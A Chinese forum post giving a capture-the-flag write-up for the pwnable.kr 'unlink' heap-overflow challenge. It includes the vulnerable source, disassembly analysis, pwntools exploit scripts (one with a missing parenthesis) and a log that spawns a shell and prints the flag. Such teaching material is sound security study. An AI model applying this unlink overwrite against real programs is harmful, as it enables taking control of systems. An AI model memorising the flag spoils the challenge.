首页
社区
课程
招聘
[分享] pwnable.kr unlink
发表于: 2021-2-3 21:29 9522

[分享] pwnable.kr unlink

2021-2-3 21:29
9522

unlink

考察点:DWORD SHOOT
32 位程序中 malloc(n) 实际分配的堆内存是 Header(4 字节) + n 结构且分配的堆块 8 字节对齐

1. 题目

1
2
3
Daddy! how can I exploit unlink corruption?
 
ssh unlink@pwnable.kr -p2222 (pw: guest)

2. 解题过程

1. 查看文件列表并 check 程序

1
2
3
4
5
6
7
unlink@pwnable:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn   49 Nov 23  2016 flag
-rw-r----- 1 root unlink_pwn  543 Nov 28  2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23  2016 unlink
-rw-r--r-- 1 root root        749 Nov 23  2016 unlink.c
unlink@pwnable:~$

我们可以通过执行 unlink 临时获得与 unlink_pwn 相同的权限,因此可读取 flag

1
2
3
4
5
6
7
8
unlink@pwnable:~$ checksec unlink
[*] '/home/unlink/unlink'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
unlink@pwnable:~$

2. 阅读 unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;
 
void shell(){
        system("/bin/sh");
}
 
void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;
 
        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);   // 可以覆盖 A->buf 以后全部堆内存
 
        // exploit this unlink!
        unlink(B); // B->fd->bk = B->bk; B->bk->fd = B->fd
        return 0;
}

当输入 A->buf 溢出覆盖了 B->fd 和 B->bk 时,可导致一个 DWORD SHOOT 覆写。
我们的目标是执行 shell(),获得一个 shell 后读取 flag

3. 调试 unlink

shell() 的地址是 080484EB 汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:080484EB ; =============== S U B R O U T I N E =======================================
.text:080484EB
.text:080484EB ; Attributes: bp-based frame
.text:080484EB
.text:080484EB                 public shell
.text:080484EB shell           proc near
.text:080484EB ; __unwind {
.text:080484EB                 push    ebp
.text:080484EC                 mov     ebp, esp
.text:080484EE                 sub     esp, 8
.text:080484F1                 sub     esp, 0Ch
.text:080484F4                 push    offset command  ; "/bin/sh"
.text:080484F9                 call    _system
.text:080484FE                 add     esp, 10h
.text:08048501                 nop
.text:08048502                 leave
.text:08048503                 retn
.text:08048503 ; } // starts at 80484EB
.text:08048503 shell           endp

main() 的汇编代码节选如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0804852F ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804852F                 public main
.text:0804852F main            proc near               ; DATA XREF: _start+17↑o
.text:0804852F
.text:0804852F var_14          = dword ptr -14h
.text:0804852F var_10          = dword ptr -10h
.text:0804852F var_C           = dword ptr -0Ch
.text:0804852F var_4           = dword ptr -4
.text:0804852F argc            = dword ptr  8
.text:0804852F argv            = dword ptr  0Ch
.text:0804852F envp            = dword ptr  10h
 
……
 
.text:080485FF                 mov     ecx, [ebp+var_4]
.text:08048602                 leave
.text:08048603                 lea     esp, [ecx-4]
.text:08048606                 retn
.text:08048606 ; } // starts at 804852F
.text:08048606 main            endp

retn 指令等同于 pop eip,将 esp 指向的地址放入到 eip 中
esp 的值由 ecx-4 获得
ecx 的值由 [ebp+var_4] 获得,var_4 为 -4,ebp 的值在整个 main() 运行中没有改变
leave 指令等同于 mov esp ebp,pop ebp 对最终 esp 的值无影响
所以我们可以构造 [ecx-4] = shell() 的起始地址
shell() 的起始地址由前面汇编代码得到,为 0x80484EB
因此我们先把 shell() 的起始地址写到 A->buf 的起始部分,记为 shell_addr,再令 ecx 指向 shell_addr + 4 即将 ebp-4 地址中的值覆盖为 shell_addr + 4

 

因此 gets() 时输入的内容就是 shell_addr + 填充字符 + B->fb + B->bk
gdb 调试发现 buf 及其后面的大小为 12 字节,所以填充字符应为 12 - 4 + 4 为 12 字节。因为 shell_addr 占 4 字节,heap B 的 Header 占 4 字节

char buf[8]; 占 8 字节,但是 malloc 分配的堆块需要 8 字节对齐。header 4 字节,fd、bk 是 32 位的地址,所以各 4 字节,buf 8 字节,共 20 字节,为了保持 8 字节对齐,额外分配了 4 字节,所以 A->buf 及其后面的大小为 12 字节

 

为了将 将 ebp-4 地址中的值覆盖为 shell_addr + 4,我们需要将 B->bk 覆盖为 ebp-4,B-fd 覆盖为 shell_addr + 4

1
2
3
4
5
6
7
8
9
10
tagOBJ 结构体中,tagOBJ->fd 的地址即 tagOBJ 的地址,tagOBJ->bk 的地址即 tagOBJ 的地址 + 4
unlink 时,FD = B->fd = shell_addr + 4,BK = B->bk = ebp-4。BK->fd = FD 即 ebp-4 = shell_addr + 4
 
# Method 2
将 FD 覆盖为 ebp - 8,BK 覆盖为 shell_addr + 4
此时 unlink 会使 FD = B->fd = ebp - 8,BK = B->bk = shell_addr + 4。FD->bk = BK 即 ebp - 8 + 4 = shell_addr + 4,此方法在 exp 中记为 ,经测试可获得 shell
 
Method 34
将 shell 函数的地址写入到 B->buf 中,此时 shell_addr 为 heap A + 32,此时可类比 Method 12 可产生 Methon 34
# 经测试上述四种方法都可获得 shell

shell_addr + 4 即 heap A + 12

1
2
3
.text:080485A5                 lea     eax, [ebp+var_14]  ; var_14 = -14h
.text:080485A8                 push    eax
.text:080485A9                 push    offset format   ; "here is stack address leak: %p\n"

得,stack A 的地址为 ebp - 0x14,所以 ebp-4 即 stack_addr + 0x10

4. 编写 exp

Methond 1、2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
shell_addr = 0x080484eb
 
s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += 'a'*12
 
# Method 1
payload += p32(heap_addr + 12)
payload += p32(stack_addr + 0x10)
 
# Method 2
# payload += p32(stack_addr + 12) 
# payload += p32(heap_addr + 12)
 
p.send(payload)
p.interactive()

Method 3、4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
shell_addr = 0x080484eb
 
s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = ''
payload += 'a'*16
 
# Method 3
# payload += p32(heap_addr + 36)
# payload += p32(stack_addr + 0x10)
# payload += p32(shell_addr)
 
# Method 4
payload += p32(stack_addr + 12
payload += p32(heap_addr + 36)
payload += p32(shell_addr)
 
p.send(payload)
p.interactive()

5. pwn

执行脚本,获得 flag:conditional_write_what_where_from_unl1nk_explo1t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
whoami@DESKTOP-02CN0MD:~/pwn/unlink/attach$ python solution.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/whoami/.cache/.pwntools-cache-2.7/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.3.1)
/home/whoami/.local/lib/python2.7/site-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
[+] Connecting to pwnable.kr on port 2222: Done
[*] lotto@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process u'./unlink' on pwnable.kr: pid 250405
[*] Switching to interactive mode
 
now that you have leaks, get shell!
$ ls
$ $ ls
flag  intended_solution.txt  unlink  unlink.c
$ $ cat flag
conditional_write_what_where_from_unl1nk_explo1t
$ $

[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

最后于 2021-2-3 22:00 被cease2e编辑 ,原因: 补充两种解法
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
// // 统计代码